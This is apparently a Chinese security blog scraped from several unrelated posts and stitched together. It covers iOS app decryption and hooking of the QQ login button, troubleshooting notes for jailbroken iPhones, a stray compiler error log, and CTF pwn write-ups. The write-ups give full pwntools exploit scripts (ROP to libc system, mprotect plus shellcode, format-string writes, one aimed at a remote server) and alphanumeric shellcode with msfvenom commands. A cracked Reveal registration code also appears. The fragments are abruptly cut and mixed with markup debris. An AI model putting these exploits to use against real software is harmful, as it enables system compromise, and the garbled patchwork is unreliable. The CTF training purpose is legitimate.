在经过之前的配置,这次有点小改动= 我给小5升级到了10.3.3
本次测试机型:iphone5 32位 10.3.3 不完美越狱
测试目标:QQ
手机端下载好QQ后
usb连接到mac上 使用 frida-ios-dump进行砸壳
手机端安装 Frida for 32-bit devices
源地址 https://build.frida.re

注意配置dump中的ip port pass
如果不确定Bundle id 可以参考上一篇文章或者使用接下来的方式
python dump.py -l

如果遇到错误
unable to launch iOS app: The operation couldn’t be completed. (FBSOpenApplicationErrorDomain error 1.)
先在手机启动APP 然后再执行下面命令进行dump就可以了
python dump.py com.tencent.mqq

这样就基本dump完了
检查下是否砸壳成功
重命名QQ.ipa=>QQ.zip=>解压进入payload
otool -l QQ | grep crypt

crypt_id=0为砸壳成功
创建Monkey Dev
这里可以配置成目标APP的Bundle id 也可以默认
在TargetAPP目录中拖入我们砸壳后的app文件
接着连接手机=>点击启动=>测试能否正常编译=>效果:会出现两个QQ
首次安装需要进入 设置=>通用=>设备管理 点击我们对应的app进行信任授权
这里可能会遇到 点击我们重签名的app出现闪退情况
解决方法:再次编译运行查看调试信息
发现报错
ERROR: Attempted to load Reveal Library twice. Are you trying to load dynamic library with Reveal Framework already linked?

造成原因:创建的项目已经自动集成了
RevealServer.framework和libcycript.dylib,且本机已经安装了reveal_load 。
在网上看到的方法貌似不行:打开bulid setting,搜索other linker ,删除objc reveal
解决方法:选择Release编译,或者删除本地的reveal 即可
这里要注意:如果删除了本地的reveal 记得更新/opt/MonkeyDev/Frameworks 目录下的RevealServer.framework为最新版
获取方法 :
接着重新编译运行 即可正常显示
因为Monkey dev写入的RevealSever 所以直接打开Reveal就能看到需要调试的app

通过查看视图界面来确定我们要hook的组件
本次目标:登录 按钮
获得了 登录按钮的 地址
通过cycript 连接过去进行调试
具体监听端口可以在这里查看:
cycript -r 192.168.0.22:6666
注意调试时ip port 换成你的目标机ip port(点击wifi info能查看ip)
arget-action模式很简单,就是当某个事件发生时,调用那个对象中的那个方法。如:按下按钮时,调用Controller里边的click方法。“那个对象”就是Target,“那个方法”就是Action,及Controller是Targer,click方法是action。
也可以类比的理解为Targer 是需要调用的方法的类,action就是里面的方法了
一般Target都是Controller,而Action有它自己固有的格式:-(IBAction)click:(id)sender。
例如:在iOS中有一个UIControl类,该类中定义了一个
-(void)addTarget:(id)target action:(SEL) forControlEvents:(UIControlEvents)controlEvents
查看 该UIButton的target
查看 该UIButton的Target-Action
[#0x40a2e700 allTargets]
[#0x40a2e700 valueForKey:@"targetActions"]
*(#0x4617c000)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

这是一个很典型的按钮事件、与上文讲解类型基本一致,
所以到这里我们就能确定 :当点击“登录”按钮时会执行QQLoginViewControlle中的loginButtonClicked
在Logos中的first_app_resignDylib.xm中进行hook编写

具体操作就是 %hook +需要hook的类名
中间写需要hook的方法
我们这里对loginButtonClicked 进行了重写 内容为弹窗提示
%hook QQLoginViewController
- (void) loginButtonClicked {
UIAlertView *alert = [[UIAlertView alloc]initWithTitle:@"提示:" message:@"看啥?不可能让你登录的" delegate:self cancelButtonTitle:@"取消" otherButtonTitles:@"确定", nil];
[alert show];
}
%end
ok写好了我们来运行测试一下
成功达到hook 登录的目的~
编译遇到问题
解决方法:
1.shift + cmd + k
2.shift + cmd + Alt + k
6/75] Building CXX object CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o
FAILED: CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o
/usr/local/bin/g++-9 -DVCPKG_DISABLE_METRICS=0 -DVCPKG_USE_STD_FILESYSTEM=1 -I../include -O3 -DNDEBUG -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk -std=c++17 -MD -MT CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o -MF CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o.d -o CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o -c ../src/vcpkg/archives.cpp
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/wchar.h:90,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/cwchar:44,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/bits/postypes.h:40,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/bits/char_traits.h:40,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/string:40,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/stdexcept:39,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/array:39,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/tuple:39,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/functional:54,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/pstl/glue_algorithm_defs.h:13,
from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/algorithm:71,
from ../include/pch.h:22,
from ../src/vcpkg/archives.cpp:1:
/usr/local/Cellar/gcc/9.1.0/lib/gcc/9/gcc/x86_64-apple-darwin18/9.1.0/include-fixed/stdio.h:222:7: error: conflicting declaration of 'char* ctermid(char*)' with 'C' linkage
222 | char *ctermid(char *);
| ^~~~~~~
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/unistd.h:525,
from ../include/pch.h:19,
from ../src/vcpkg/archives.cpp:1:
/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/_ctermid.h:26:10: note: previous declaration with 'C++' linkage
26 | char *ctermid(char *);
| ^~~~~~~
ninja: build stopped: subcommand failed.
./bootstrap-vcpkg.sh --allowAppleClang
]]>
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
shellcode = "PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA"
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
s=open("sc.bin",'w')
sh=asm(shellcraft.amd64.sh())
s.write(sh)
s.close()
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin" > out.bin
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
相关解读文章
使用alpha3生成alphanumeric shellcode
shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJTK0XZ9V2U62HFMBCMYJGRHFORSE8EP2HFO3R3YBNLIJC1BZHDHS05PS06ORB2IRNFOT3RH30PWF3MYKQXMK0AA"
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
相关解读
]]>
docker build -t c_shell .
#build ssh images
#
#VERSION 1.0
FROM ubuntu:16.04
MAINTAINER NSS/Czh
#更换国内源文件
COPY ./sources.list /etc/apt/sources.list
RUN apt-get update \
&& echo "#!/bin/sh\nexit 0" > /usr/sbin/policy-rc.d \
&& DEBIAN_FRONTEND="noninteractive" apt-get install -y openssh-server \
&& rm -rf /var/lib/apt/lists/*
#设置用于ssh连接的root密码
RUN useradd -m dluctf
RUN echo 'dluctf:test'|chpasswd
RUN mkdir -p /var/run/sshd
RUN chown -R root:dluctf /home/dluctf && \
chmod -R 750 /home/dluctf && \
chmod 740 /home/dluctf/flag
#允许root连接
RUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/g' /etc/ssh/sshd_config
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]
docker run -d -p 10001:22 images_name
sudo docker exec -i -t images_name /bin/sh
]]>版本iphone5 ios8.4.1
遇到问题
1.Cydia跳出Failed to fetch http://repo666.ultrasn0w.com 的錯誤訊息 done!
解决方法 :删除这个源就行了
woc 买来的手机越狱过了然后被卖家恢复出厂设置了== 坑死
2.由于越狱后恢复出厂设置导致数据库错误 Cydia跳出Could not open file /var/lib/dpkg/status
done!
解决方法
由于重置导致无法使用openssh 所以 这里有个无openssh 修复教程
修复工具下载:
上传有点慢麻烦 写完后再上传
先利用ifunbox 将cydia-fix里的lib文件夹直接拖入ibooks

接着利用impactor 导入ipa

将ipa文件拖入这里 输入登录的id 密码 即可安装
接着在手机端 进行命令输入
先输入 su
会提示要求输入密码 默认密码:alpine
接着复制lib 创建log/apt文件夹
cp -R /var/mobile/Media/Books/lib /var
mkdir /var/log/apt

重启cydia
搞定!~~ 撒花撒花
3.安装 dumpdecrypted 时遇到 SDK “iphoneos” cannot be located 问题
产生原因:xcode 命令行目录不正确 可以使用命令查看当前 xcode路径
xcode-select --print-path

看到路径不正确 所以 我们指定下路径即可搞定
sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer/

4.遇到问题 安装openssh 插件后 还是无法使用内网连接ssh (手机 iphone5 美版 有锁 ios8.4.1)

解决方法:
我尝试了卸载本地的 openssh 和openssl 接着重装一下
然后通过修改了系统语言为英文 搞定

5.遇到iExplorer 安装时 显示dmg镜像损坏
解决方法
sudo spctl --master-disable
再次安装即可
6.ios ssh 如何改密码
登录ssh 默认密码 alpine
输入psswd
根据提示输入change密码就可以啦

7.Reveal Debug 教程
https://blog.csdn.net/yinxuanwl/article/details/93474278
打完patch 后输入注册码
注册码:180999999999
8.当编译获取appid程序时遇到

Showing All Messages
:-1: No profile for team ‘33SY35N4CB’ matching ‘greenboxDevelopment’ found: Xcode couldn’t find any provisioning profiles matching ‘33SY35N4CB/greenboxDevelopment’. Install the profile (by dragging and dropping it onto Xcode’s dock item) or select a different one in the General tab of the target editor. (in target ‘iOSAppsInfo’)
该错误是由于没有修改id的原因
解决方法:
xcode 左侧搜索到teamid 双击后 左侧搜索id 或者 DEVELOPMENT_TEAM 接着在列表框更改为自己的id即可

9.编译时遇到错误
:-1: No profile for team xxx (Personal Team)’ matching '[email protected]‘ found: Xcode couldn’t find any provisioning profiles matching '99994Y3DQ2/[email protected]‘. Install the profile (by dragging and dropping it onto Xcode’s dock item) or select a different one in the General tab of the target editor. (in target ‘iOSAppsInfo’)

解决方法:
找到项目配置 signing 接着 在 Automatically manage signing 处打勾 在team栏选择自己登录的账号

注意方框里的内容 复制它
54f11589-255a-47a3-beb1-3c68019bd296
打开项目文件夹

进入 project.pbxproj
查找该字符串

删除这两行
删除后保存 重启项目

重启项目后

接着就可以正常生成啦

\10. 关于使用xcodebuild 的问题
编译命令
编译命令xcodebuild -exportArchive -archivePath ~/Library/Developer/Xcode/Archives/2019-06-24/iosid.xcarchive -exportPath iosid.ipa -exportOptionsPlist ~/Library/Developer/Xcode/Archives/2019-06-24/iosid.xcarchive/info.plist
这里要说明的是 xcodebuild利用 xxxx.xcarchive包导出成ipa文件命令格式
xcodebuild -exportArchive
-archivePath <archivePath> #.xcarchive文件的全路径 例如: .../.../XXX.xcarchive
-exportPath <exportPath> #ipa文件导出路径
-exportOptionsPlist <exportOptionsPlistPath> #该文件info.plist文件全部路径 eg: .../.../info.plist
根据命令自行修改目录即可

11.当ssh 连接手机 执行ps命令发现提示 command not found

解决方法
打开手机端Cydia 搜索安装
adv-cmds
可以看到安装后可以执行的命令有 finger fingerd last lsvfs md ps

接着在执行命令 就可以了

待续。。。。
ios@ubuntu:~/APwn/buuctf$ checksec ogeek-babyrop
[*] '/home/ios/APwn/buuctf/ogeek-babyrop'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
简单运行程序测试后查看ida
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
读取一个随机数 4 size
执行sub_804871F 返回到v2
执行sub_80487D0(v2)
跟进 sub_804871F
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
首先看v6=用户输入参数
v1=buf的长度
进行str 字符串比较如果不相等就exit
因为strlen遇到\x00会终止
如果将\x00为字符串首位 则strlen的结果为0
所以strncmp(buf, &s, v1)就只会对比长度0位
从而达到绕过
这里要注意会返回一个值v5 而v5为接下来需要的read的size
可以看到 buf+7=v5
我们只需要构造\x00+任意6size的字符+长度 即可
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
看到 a1可以控制长度 而a1为return的 v5
且整个程序没用到puts函数 而是用到了write
所以 leak是要使用write函数偏移且重新载入main函数
from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# 这里有坑 注意\n
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
#构造leak回环
p.send(leak)
write=u32(p.recv(4))
print hex(write)
getshell就比较容易了
from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
p.send(leak)
write=u32(p.recv(4))
print hex(write)
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
system=write-libc.sym['write']+libc.sym['system']
binsh=write-libc.sym['write']+next(libc.search('/bin/sh'))
payload1='A'*0xe7+'b'*4+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload1)
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
明显的栈溢出
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
给了个get flag函数
检查保护
[*] '/home/ios/APwn/buuctf/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1.利用栈溢出跳转到v2 = fopen(“flag.txt”, “rt”); 地址处即可读到flag
2.利用mprotect函数修改程序地址可读可写可执行 布置shellcode getshell
gdb-peda$ file get_started_3dsctf_2016
Reading symbols from get_started_3dsctf_2016...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048a20
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
gdb-peda$ c
► f 0 41416341
Program received signal SIGSEGV (fault address 0x41416341)
gdb-peda$ pattern offset 0x41416341
1094804289 found at offset: 56
得到偏移后覆盖ret为 fopen(“flag.txt”, “rt”);地址
from pwn import *
p=process('./get_started_3dsctf_2016')
payload='a'*56+p32(0x80489B8)
p.sendline(payload)
#gdb.attach(p)
p.interactive()
来自引用https://blog.csdn.net/roland_sun/article/details/33728955\
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问
利用描述:
Start:需要修改的起始地址
len:该段大小 通过End-Start 可以得到size
prot:设置地址段权限 可读:r 4 可写:w 2 可执行:x 1
在gdb中找一个权限较高的地址
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ea000 r-xp /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rw-p /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x0810f000 rw-p [heap]
0xf7ff9000 0xf7ffc000 r--p [vvar]
0xf7ffc000 0xf7ffe000 r-xp [vdso]
0xfffdd000 0xffffe000 rw-p [stack]
选择一段 0x080ea000 0x080ec000 rw-p
利用栈溢出 覆盖ret到mprotect函数+rop_gadget+传递参数修改权限为rwx
from pwn import *
p=process('./get_started_3dsctf_2016')
#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(main)
#rwx 4 2 1
p.sendline(payload)
gdb.attach(p)
修改后
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 f7fcbfd9 __kernel_vsyscall+9
f 1 806e162 __read_nocancel+24
f 2 8051ab9 _IO_new_file_underflow+265
f 3 80548ac _IO_default_uflow+44
f 4 804f749 gets+281
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ea000 r-xp /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rwxp /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x080ed000 rw-p mapped
0x08891000 0x088b3000 rw-p [heap]
0xf7fc8000 0xf7fcb000 r--p [vvar]
0xf7fcb000 0xf7fcd000 r-xp [vdso]
0xff90b000 0xff92c000 rw-p [stack]
gdb-peda$
可以看到成功修改
接着要继续利用rop构造read读入shellcode到0x080ea000 并构造完后返回到0x080ea000 执行shellcode
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1
这里我们一段一段分析payload
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)
首先溢出覆盖ret为mprotect函数利用gadget 以堆栈形式pop 传入参数
先传入需要修改权限的地址段 ss
传入ss地址段的长度len
传入权限 rwx=4+2+1=7
0:没有任何权限
4:可读r
2:可写w
1:可执行x
+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
因为上一段gadget为pop pop pop ret 所以
我们ret 到了read 同样传参方式调用read函数
原型
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
fd: 是文件描述符,对应0
buf: 为读出数据的缓冲区
count:为读入的输入长度
最后我们由于使用gadget pop pop pop ret
因为read会将shellcode读入ss地址段
我们需要ret到ss地址段来执行shellcode
from pwn import *
p=process('./get_started_3dsctf_2016')
elf=ELF('get_started_3dsctf_2016')
read_plt=elf.sym['read']
#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1
p.sendline(payload)
p.sendline(shellcode)
#gdb.attach(p)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec PWN5
[*] '/home/ios/APwn/buuctf/PWN5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
简单运行程序
猜测存在字符串格式化漏洞 用来泄漏canary 接着 存在输入所以可能存在溢出
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]
v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}
发现read处都不存在溢出
但是 main中给出了system(“/bin/sh”)
以及明显的字符串格式化
我们可以利用字符串格式化修改atoi为system函数地址 接着在第二次read输入“bin/sh” 从而getshell
字符串格式化需要测试偏移
一般利用
AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
计算偏移
from pwn import *
p=process('PWN5')
elf=ELF('PWN5')
system=elf.plt['system']
atoi=elf.got['atoi']
log.info(p.recvuntil('your name:'))
payload=fmtstr_payload(10,{atoi:system})
p.sendline(payload)
p.sendline('sh')
p.interactive()
在网上看到还有另外一个思路
因为读入随机数的地址 固定 bss:0x804C044
我们可以修改该地址的随机数为固定值 接着输入相同值即可满足判断 getshell
我们先尝试在0x804C044写入数值
addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
在080492A6处下断检查0x804C044当前值是否固定
00:0000│ esp 0xffae1790 —▸ 0x804a027 ◂— 'your passwd:'
01:0004│ 0xffae1794 —▸ 0xffae17b8 —▸ 0x804c044 ◂— 0x4
02:0008│ 0xffae1798 ◂— 0x63 /* 'c' */
03:000c│ 0xffae179c ◂— 0x0
04:0010│ 0xffae17a0 —▸ 0xffae17de ◂— 0xffff0000
05:0014│ 0xffae17a4 ◂— 0x3
06:0018│ 0xffae17a8 ◂— 0xc2
07:001c│ 0xffae17ac —▸ 0xf7e1e6bb (handle_intel+107) ◂— add esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 80492ce
f 1 f7da6637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044: 0x00000004 0x00000000 0x00000000 0x00000000
0x804c054: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c064: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c074: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c084: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
可以看到
当前值被修改为了0x00000004
所以我们在输入pass时输入0x00000004即可getshell
from pwn import *
p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x00000004))
p.interactive()
此payload试了下远程没通 应该是程序权限的原因
我们一字节一字节进行修改
addr=0x804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffe7b120 —▸ 0x804a027 ◂— 'your passwd:'
01:0004│ 0xffe7b124 —▸ 0xffe7b148 —▸ 0x804c044 ◂— 0x10101010
02:0008│ 0xffe7b128 ◂— 0x63 /* 'c' */
03:000c│ 0xffe7b12c ◂— 0x0
04:0010│ 0xffe7b130 —▸ 0xffe7b16e ◂— '13$hhn\n'
05:0014│ 0xffe7b134 ◂— 0x3
06:0018│ 0xffe7b138 ◂— 0xc2
07:001c│ 0xffe7b13c —▸ 0xf7db36bb (handle_intel+107) ◂— add esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 80492ce
f 1 f7d3b637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044: 0x10101010 0x00000000 0x00000000 0x00000000
0x804c054: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c064: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c074: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c084: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
看到当前0x804c044值为0x10101010
所以我们输入pass为0x10101010 即可getshell
from pwn import *
p=remote('node3.buuoj.cn',28184)
#p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x10101010))
p.interactive()
题目不难
我的f5解析的有问题
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf((int)"%s", (int)var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 0x11)
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
查看 scanf读入字符串存入var处
这里f5处的条件为 var的14位要存在且第14位的值为0x11(从0位开始计算)
通过Ghidra解析
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{
int iVar1;
undefined4 uVar2;
int in_GS_OFFSET;
EVP_PKEY_CTX *ctx;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
var._52_4_ = 0;
var._56_4_ = 0;
init(ctx);
puts("What\'s your name?");
__isoc99_scanf(&DAT_0001201a,var);
if ((var._52_4_ | var._56_4_) == 0) {
printf("%s, Welcome!\n",var);
puts("Try do something~");
}
else {
if ((var._52_4_ ^ 0x11 | var._56_4_) == 0) {
system("/bin/sh");
}
else {
printf("something wrong! val is %d",var._0_4_,var._4_4_,var._8_4_,var._12_4_,var._16_4_,
var._20_4_,var._24_4_,var._28_4_,var._32_4_,var._36_4_,var._40_4_,var._44_4_,var._48_4_
,var._52_4_,var._56_4_);
}
}
uVar2 = 0;
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
uVar2 = __stack_chk_fail_local();
}
return uVar2;
}
if ((var._52_4_ ^ 0x11 | var._56_4_) == 0)
对比分析 可以知道第十四位其实为输入的第53位(从0计算到52)
所以可以得到exp
from pwn import *
context.log_level = 'debug'
p=process('./ciscn_2019_n_8')
payload='a'*52+p32(0x11)
